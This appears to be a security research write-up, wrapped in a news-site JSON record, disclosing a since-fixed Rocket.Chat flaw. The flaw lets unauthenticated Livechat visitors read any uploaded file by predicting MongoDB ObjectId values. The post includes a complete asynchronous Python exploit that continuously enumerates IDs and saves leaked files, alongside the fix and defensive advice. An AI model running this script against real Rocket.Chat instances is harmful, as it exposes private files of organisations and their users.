{"slug": "predicting-mongodb-objectid-continuously-in-rocket-chat", "title": "Predicting MongoDB ObjectId() continuously in Rocket.Chat", "summary": "Security researchers at Aikido discovered that Rocket.Chat's use of MongoDB's ObjectId() for file IDs allows unauthenticated attackers to predict and access any uploaded file. The vulnerability, reported via HackerOne and fixed in versions released June 12, 2024, enables continuous prediction of valid IDs, compromising all file uploads. Rocket.Chat users should upgrade immediately.", "body_md": "Applications using MongoDB have a common pitfall of treating the `ObjectId()`\n\nfunction as cryptographically secure. Recently, we found [Rocket.Chat](https://www.rocket.chat/), an open source Slack-like application, to be a victim of this. At Aikido, we run [AI Pentests](https://www.aikido.dev/platform/attack) on various open source applications to test our agents and identify their strengths and improvement points. During the pentest, one of the agents reported that an unauthenticated Rocket.Chat user can access any uploaded file if they know its ID. The ID is generated with MongoDB’s `ObjectId()`\n\nand looks random at first sight, but when you look deeper, they are far from it!\n\nIn this post, we will demonstrate how an attacker is able to retrieve all generated valid IDs continuously. We'll describe an attack that probes the current ID to predict all other IDs generated by the application. This is shown by capturing every uploaded file in a Rocket.Chat instance. The attack could be applied to different apps using MongoDB with the same primitives, beyond just Rocket.Chat.\n\nWe found and reported the issue in Rocket.Chat on the 21st of April through HackerOne (now publicly disclosed: [#3687142](https://hackerone.com/reports/3687142)). As of June 12th, it has been fixed in versions 8.5.1, 8.4.4, 8.3.6, 8.2.6, 8.1.6, 8.0.7, 7.13.9, and 7.10.13. If you or your organization is hosting a Rocket.Chat instance, upgrade to any of these versions or newer as soon as possible if you haven't already. Since it is an unauthenticated exploit, anyone with network access can exploit this.\n\n## The Vulnerability\n\nBefore we dive into the exploit technique, let me explain more about how Rocket.Chat works.\n\nThe main use case of Rocket.Chat is communicating with your organization and team. Conversations are split between configurable channels, and users can share files in addition to chat. To understand the unauthenticated attack surface, in the default setup, users cannot self-register and login is required to open the app.\n\nThere's also an optional component called [ Livechat](https://docs.rocket.chat/docs/livechat-widget-installation), which is essentially an unauthenticated helpdesk chat. Even though it's optional, it is\n\n[enabled by default](https://github.com/RocketChat/Rocket.Chat/blob/8.5.0/apps/meteor/server/settings/omnichannel.ts#L9-L13), but it’s not visible unless you navigate directly to\n\n`/livechat`\n\n:Livechat allows users to send a plain text message to the helpdesk. Additionally, there's file upload support for this widget, but the input is disabled by default (so you can't see it in the screenshot above). Still, the API endpoint for uploading files without authentication remains accessible. This is the main primitive we'll use in our eventual exploit.\n\nFiles uploaded in either of these features (authenticated channels & unauthenticated Livechat), are stored in the same location: `/file-upload/{fileId}`\n\n. This creates some complications in the authorization logic. Could we abuse something in Livechat to read real channel uploads?\n\nOne of the agents noticed something peculiar in [ FileUpload.ts](https://github.com/RocketChat/Rocket.Chat/blob/8.5.0/apps/meteor/app/file-upload/server/lib/FileUpload.ts#L451-L472). There are\n\n*two*different ways to define a file's Room ID. Firstly, authorization is done by\n\n`requestCanAccessFiles`\n\nwhich reads `rc_rid`\n\n(`rid`\n\n= Room ID) from the query string.\n\n```\nasync requestCanAccessFiles({ headers = {}, url }: http.IncomingMessage, file?: IUpload) {\n    const { query } = URL.parse(url, true);\n    let { rc_uid, rc_token, rc_rid, rc_room_type } = query;\n    ...\n   const isAuthorizedByRoom = async () =>\n        rc_room_type &&\n        roomCoordinator\n            .getRoomDirectives(rc_room_type)\n            .canAccessUploadedFile({ rc_uid: rc_uid || '', rc_rid: rc_rid || '', rc_token: rc_token || '' });\n```\n\nThe given `rc_rid`\n\nis passed into `canAccessUploadedFile`\n\ntogether with the `rc_token`\n\nparameter to verify you have access to that room and should be able to read the file:\n\n```\nasync canAccessUploadedFile({ rc_token: token, rc_rid: rid }) {\n    return token && rid && !!(await LivechatRooms.findOneByIdAndVisitorToken(rid, token));\n},\n```\n\nSecond, there's the call to `FileUpload.requestCanAccessFiles,`\n\nwhich gets the file from the `/file-upload/{fileId}/…`\n\npath and looks it up directly in the database:\n\n``` js\nWebApp.connectHandlers.use(FileUpload.getPath(), async (req, res, next) => {\n    const match = /^\\/([^\\/]+)\\/(.*)/.exec(req.url || '');\n\n    if (match?.[1]) {\n        const file = await Uploads.findOneById(match[1]);\n\n        if (file) {\n            if (!(await FileUpload.requestCanAccessFiles(req, file))) {\n```\n\nThis `file`\n\nalso has a `rid`\n\n(Room ID), which may be different from the given `rc_rid`\n\nin the URL. What would happen if they mismatch?\n\nThe answer is a large vulnerability. Rocket.Chat does not verify that the file you're requesting is inside the room you're verifying access for. That means you can provide any valid dummy room, then specify an arbitrary `fileId`\n\nin the path parameter to get its content.\n\nLet's see it in practice. First we upload any file to a channel as the victim. In the screenshot below, the admin user uploaded `file.txt`\n\n:\n\nThen, copy the link to the file, like:`https://rocketchat.local/file-upload/6a325394876fbe9c70b1b03f/file.txt`\n\nNaively visiting the URL in an incognito tab returns a 403 error, so it should be private. Now let's see if we can leak it using the Livechat functionality.\n\nTake the `fileId`\n\npart `6a325394876fbe9c70b1b03f`\n\n, and let's request the same URL with any anonymous Livechat room user. We can create a session by first registering as a \"visitor\" with any token value, and then requesting our Room ID. With this valid Room ID, if our exploit works, we are now able to get any file if we just know its `fileId`\n\n. Because there is no check comparing the file's real room to our temporary room.\n\nWe'll build out a Python script for our final exploit step by step. Starting with implementing this idea:\n\n```\nHOST = \"https://rocketchat.local\"\nFILE_ID = \"6a325394876fbe9c70b1b03f\"\n\ns = requests.Session()\n\ntoken = \"x\"\n# Create anonymous visitor with token\ns.post(f\"{HOST}/api/v1/livechat/visitor\", \n       json={\"visitor\": {\"token\": token, \"name\": \"attacker\", \"email\": \"attacker@example.com\"}})\n# Get our Room ID\nr = s.get(f\"{HOST}/api/v1/livechat/room\", \n          params={\"token\": token, \"agentId\": \"rocket.cat\"})\nrid = r.json()[\"room\"][\"_id\"]\nprint(f\"{rid=}\")  # ceHsTjGSTfvAzWHk2\n\n# Get other file using our Room ID\nr = s.get(f\"{HOST}/file-upload/{FILE_ID}/x\", \n          params={\"rc_room_type\": \"l\", \"rc_rid\": rid, \"rc_token\": token})\nprint(r.text)  # SUPER SECRET DATA\nprint(r.headers[\"Content-Disposition\"])  # attachment; filename*=UTF-8''file.txt\n```\n\nWe've successfully leaked the `SUPER SECRET DATA`\n\ninside `file.txt`\n\n! We also get the original filename in the `Content-Disposition:`\n\nheader, making it easier to find out what the file actually is supposed to contain.\n\nA cool find by the agent, but it relied on knowledge of the hard to guess `fileId`\n\n: `6a325394876fbe9c70b1b03f`\n\n. It looks like a random value made up of 12 bytes. Even with a million requests per second, you'd be looking at a few thousand universe lifetimes before expecting your first hit. Not entirely realistic.\n\nAfter manually reviewing more of the application’s source code, we found no way of directly leaking any of these file IDs from other sources. How do we come up with a valid ID?\n\nThe first hint comes from the fact that this ID is generated by MongoDB's [ ObjectId()](https://www.mongodb.com/docs/manual/reference/method/objectid/) function. “How does that help us?” you may ask.\n\n## MongoDB ObjectId()\n\nAs explained in the documentation, an ObjectId is made up of:\n\n**A 4-byte timestamp**, representing the ObjectId's creation, measured in seconds since the Unix epoch.** A 5-byte random value**generated once per client-side process. This random value is unique to the machine and process. If the process restarts or the primary node of the process changes, this value is re-generated.**A 3-byte incrementing counter** per client-side process, initialized to a random value. The counter resets when a process restarts.\n\nSo an ID like `6a325394876fbe9c70b1b03f`\n\ncan be split into:\n\nIt also says:\n\n> For timestamp and counter values, the most significant bytes appear first in the byte sequence (big-endian)\n\nSo our 6a325394 timestamp can be decoded into June 17th 2026 at 9:58:12 AM:\n\n``` python\n>>> from datetime import datetime\n>>> datetime.fromtimestamp(int(\"6a325394\", 16))\ndatetime.datetime(2026, 6, 17, 9, 58, 12)\n```\n\nThe counter value `b1b03f`\n\nis also a big endian integer. `b1b03f`\n\n+ 1 would be `b1b040`\n\n, the next ID. This counter is initialized randomly, and loops around at `ffffff`\n\nto `000000`\n\n.\n\nIt's also quite obvious if we compare two sequential file IDs now. They are far from random.\n\n`6a325394876fbe9c70b1b03f`\n\n`6a325a30876fbe9c70b1b048`\n\n## Predicting fully at random\n\nWith this low entropy you may think we can just brute force the IDs until we happen to hit an existing file. While mostly true for the timestamp (we only have the iterate seconds for the past few months), we don't know the 5-byte static random value, and the counter is initialized randomly as well.\n\nThe static random value alone has more than a trillion possibilities (256^5). At a rate of 1000 requests per second, you'd still be [waiting ~18 years](https://brute.jtw.sh/#length=10&charset=0-9a-f). By that time I'd be impressed if your attacker's machine is still running.\n\nWe can assume this to be **impossible**.\n\n## Predicting from an anchor point\n\nThe better way to approach this is to find *any ObjectId() output* from the application, and then predicting future ones from there. An \"anchor point\". In Rocket.Chat, luckily for us, there is a very easy way to do so with the Livechat feature we're already using. If we just upload a file anonymously, we get its ID, that's our sample.\n\n```\nr = s.post(f\"{HOST}/api/v1/livechat/upload/{rid}\", \n            headers={\"x-visitor-token\": token}, \n            files={\"file\": (\"probe\", b\"probe\", \"text/plain\")})\nr.raise_for_status()\ndata = r.json()\nprobe_id = data[\"file\"][\"_id\"]\nprint(f\"{probe_id=}\")  # 6a325fbf876fbe9c70b1b053\n```\n\nWe now have two required primitives:\n\n- Something we shouldn't have access to is\n**accessible** if we know its`ObjectId()`\n\n- We have a way to\n**generate** and read our own`ObjectId()`\n\nWith this in hand we can get much further. To find files uploaded by other users we have to think about what changes: the timestamp and the counter. The timestamp we will have to decrement in seconds until the time we want. But in the case of the counter, we don't really know how much to decrement it by because other features may generate `ObjectId()`\n\n's just as well, skipping certain values for the file IDs we're after.\n\nBy simply guessing some ranges we can already get pretty successful:\n\n```\n# Parse parts of the ObjectId()\ntimestamp = datetime.fromtimestamp(int(probe_id[0:8], 16))\nrandom = probe_id[8:18]\ncounter = int(probe_id[18:24], 16)\nprint(f\"{timestamp=} {random=} {counter=}\")\n\n# Loop through the last 5 minutes of timestamps, and last 20 counters\nfor delta in tqdm(range(int(timedelta(minutes=5).total_seconds()))):\n    for c in range(counter - 20, counter):\n        t = timestamp - timedelta(seconds=delta)  # Go backwards\n        # Create new potential ObjectId()\n        oid = f\"{int(t.timestamp()):08x}{random}{c:06x}\"\n        if oid == probe_id:\n            continue  # Skip our own file\n\n        # Try requesting it, if successful, print it\n        r = s.get(f\"{HOST}/file-upload/{oid}/x\", \n            params={\"rc_room_type\": \"l\", \"rc_rid\": rid, \"rc_token\": token})\n        if r.ok:\n            tqdm.write(f\"{oid}: {r.text!r}\")\n```\n\nIf we upload a file to Rocket.Chat and then run this script shortly after, it discovers the ID and its data (iterating through the last 5 minutes + previous 20 IDs in the counter). Below is an example of the output you can expect:\n\n```\nprobe_id='6a326750876fbe9c70b1b069'\ntimestamp=datetime.datetime(2026, 6, 17, 11, 22, 24) random='876fbe9c70' counter=11645033\n6a326747876fbe9c70b1b068: 'SUPER SECRET DATA'                             \n  6%|██▎                                 | 19/300 [00:09<02:36,  1.79it/s]\n```\n\nWhile viable for a proof of concept, in a realistic attack you won't know exactly when a victim uploads their file. A real instance may also be much busier than our local one, generating many `ObjectId()`\n\n's for other features that displace the file IDs. We need to be faster, and find a way to guarantee we hit every file ID without making assumptions about the timestamp or counter.\n\n## Continuously finding all ObjectId()s\n\nOne large bottleneck currently is that we're synchronously requesting every ID one by one. While waiting for a response from the server, we're doing nothing. By converting the code to be **asynchronous** with a library like `httpx`\n\n, we can spawn multiple workers that all send requests from a queue at the same time.\n\nWe'll extract the filename from the `Content-Disposition:`\n\nheader at the same time, and save the file under `leaks/`\n\nlocally with its original filename.\n\n``` python\nasync def get_token(client):\n    token = \"x\"\n    r = await client.post(f\"{HOST}/api/v1/livechat/visitor\", json={\"visitor\": {\"token\": token, \"name\": \"probe\", \"email\": \"probe@ex.com\"}})\n    r.raise_for_status()\n    r = await client.get(f\"{HOST}/api/v1/livechat/room\", params={\"token\": token, \"agentId\": \"rocket.cat\"})\n    r.raise_for_status()\n    rid = r.json()[\"room\"][\"_id\"]\n    return token, rid\n\nasync def oid_worker(client, i, queue, rid, token):\n    while True:\n        oid = await queue.get()\n        print(f\"Worker {i} requesting {oid}\")\n        r = await client.get(f\"{HOST}/file-upload/{oid}/x\", params={\"rc_room_type\": \"l\", \"rc_rid\": rid, \"rc_token\": token})\n        if r.status_code == 200:\n           filename = unquote(r.headers[\"Content-Disposition\"].split(\"filename*=UTF-8''\")[1])\n            try:\n                content = r.text\n            except UnicodeDecodeError:\n                content = r.content\n            print(f\"[LEAK] {oid} ({filename}): {content[:100]!r}\")\n            with open(f\"leaks/{filename.replace('/', '_')}\", \"wb\") as f:\n                f.write(r.content)\n\nasync def main():\n    queue = asyncio.Queue()\n    num_workers = 10\n\n    async with httpx.AsyncClient() as client:\n        token, rid = await get_token(client)\n        print(f\"{rid=}\")\n\n        print(\"Starting producer loop...\")\n        producer_task = asyncio.create_task(oid_producer(client, queue, rid, token))  # We will implement the producer in a second\n        print(f\"Starting {num_workers} workers...\")\n        worker_tasks = [\n            asyncio.create_task(oid_worker(client, i, queue, rid, token))\n            for i in range(num_workers)\n        ]\n        await asyncio.gather(producer_task, *worker_tasks)\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nTo ensure we hit **every** ID that exists, we can make use of the difference between *multiple* probes. If a previous probe saw the counter at 100, and the next probe a little while later (eg. 10 seconds) saw it as 122, we know that 22 IDs were generated in between that time. The timestamp interval is also immediately clear: 10 seconds. So we can iterate through 10*22 IDs as quickly as possible.\n\nWhen done, we can send another probe 10 more seconds later, let's say the counter is at 130 then. Compare that to the now previous probe of 122, and we have to try 8 counter values across 10 seconds again.\n\nWe can keep this loop going, producing ID gaps by probing continuously in short intervals, and fetching them quickly using asynchronous workers.\n\nVisualized, the algorithm works something like this. Instead of fetching a whole range of 9*26=234 IDs, we can get samples from the application to make the rectangles we search through smaller. The sum of these smaller ranges of 6+16+45 = 67, much lower than the naive full range.\n\nBy keeping the program running and with fast enough requests, we can guarantee that we hit *every* potential file ID.\n\nIn our Python implementation this isn't hard to implement. We just have to split each probe ID to extract its timestamp & counter, and compare them to the previous.\n\nIf we're smart, we can save and avoid our own probe counter values in the search, because these will never be the secret files we're looking for. One edge case to look out for is that the counter wraps around from `ffffff`\n\nto `000000`\n\nif it hits that limit, so we need to use a modulus to ensure it stays within 3 bytes.\n\n``` python\nPRODUCER_INTERVAL = 10\n\ndef split_probe_id(probe_id):\n    timestamp = int(probe_id[0:8], 16)\n    random = probe_id[8:18]\n    counter = int(probe_id[18:24], 16)\n    return timestamp, random, counter\n\ndef mod_range(start, stop, modulus):\n    for i in range((stop - start) % modulus):\n        yield (start + i) % modulus\n\nasync def oid_producer(client, queue, rid, token):\n    prev_probe_id = await get_probe_id(client, rid, token)\n    probes = set([split_probe_id(prev_probe_id)[2]])\n    await asyncio.sleep(PRODUCER_INTERVAL)\n    while True:\n        probe_id = await get_probe_id(client, rid, token)\n        prev_timestamp, _, prev_counter = split_probe_id(prev_probe_id)\n        timestamp, random, counter = split_probe_id(probe_id)\n        probes.add(counter)\n        i = 0\n        for t in range(prev_timestamp, timestamp):\n            for c in mod_range(prev_counter, counter, 0x1000000):\n                if c in probes:\n                    continue  # Skip our own files\n                oid = f\"{t:08x}{random}{c:06x}\"\n                await queue.put(oid)\n                i += 1\n        print(f\"Produced {i} IDs\")\n        prev_probe_id = probe_id\n        await asyncio.sleep(PRODUCER_INTERVAL)\n```\n\nNow finally running the script, we can see on our local instance it is pretty uneventful while nothing is happening. We skip our own IDs and the difference from the previous probe is just 1. Until we open the application and upload a file, within 10 seconds, it is detected by the exploit script and leaked by a worker who picked it up:\n\n```\nStarting producer loop...\nStarting 10 workers...\nProduced 0 IDs\nProduced 0 IDs\n...\nProduced 22 IDs\nWorker 0 requesting 6a32774c876fbe9c70b1b112\nWorker 1 requesting 6a32774c876fbe9c70b1b113\n...\nWorker 3 requesting 6a327754876fbe9c70b1b113\n[LEAK] 6a32774e876fbe9c70b1b112: 'SUPER SECRET DATA'\nWorker 5 requesting 6a327756876fbe9c70b1b113\nProduced 0 IDs\n```\n\nSuccess! While the script is running, we're now identifying and leaking every uploaded file on the Rocket.Chat instance. With the speed improvements, the instance can be used regularly without halting our script much, and then again, it's a queue so if there's too much work it will just catch up eventually when there's less activity going on.Note that the 10 second interval we're currently using is completely arbitrary, the lower you set it, the smaller the possible ranges will get so you're precisely detecting when a file is uploaded. You can decide the balance between the number of requests for probing vs. the number of requests for brute forcing for yourself.\n\nWatch the proof of concept in this video:\n\n## Takeaways\n\nRocket.Chat fixed the access control issue ([#40889](https://github.com/RocketChat/Rocket.Chat/pull/40889/changes#diff-5ad2ecc1f4d53c4e006f51235fff8621d7024ac850f8408b62c7385cf2d6cd46R34-R36)) by passing the `file`\n\ninto `canAccessUploadedFile()`\n\n, and verifying that the chosen file matches the room ID that is specified in the query parameter.\n\nAs a general guide, for random IDs, we recommend not relying on `ObjectId()`\n\n, it is almost as insecure as a simple incremental ID. As defence in depth, use UUIDv4 for secure random strings to ensure even with access control bugs, an attacker still needs a second step to discover the IDs.\n\nWhile our agent successfully found the IDOR vulnerability, it initially didn't mention the predictability of MongoDB `ObjectId()`\n\ns, because a single sample looks random at first glance. With the changes we made after this research, agents now explore the entropy of such IDs to more accurately explain the likelihood of exploitation in reports.\n\nFor security researchers and pentesters looking to improve their IDOR PoC's realism, you now know you can easily predict MongoDB IDs. Something to look out for whenever you have two IDs that look eerily similar.\n\nOur AI pentesting tool discovered this on its own. If you want high quality, fast pentesting running against your application, check out [Aikido’s pentesting suite](https://www.aikido.dev/attack/aipentest).", "url": "https://wpnews.pro/news/predicting-mongodb-objectid-continuously-in-rocket-chat", "canonical_source": "https://www.aikido.dev/blog/predicting-mongodb-objectid-rocket-chat", "published_at": "2026-07-06 17:00:00+00:00", "updated_at": "2026-07-07 01:20:18.263419+00:00", "lang": "en", "topics": ["ai-safety", "ai-research"], "entities": ["Rocket.Chat", "MongoDB", "Aikido", "HackerOne"], "alternates": {"html": "https://wpnews.pro/news/predicting-mongodb-objectid-continuously-in-rocket-chat", "markdown": "https://wpnews.pro/news/predicting-mongodb-objectid-continuously-in-rocket-chat.md", "text": "https://wpnews.pro/news/predicting-mongodb-objectid-continuously-in-rocket-chat.txt", "jsonld": "https://wpnews.pro/news/predicting-mongodb-objectid-continuously-in-rocket-chat.jsonld"}}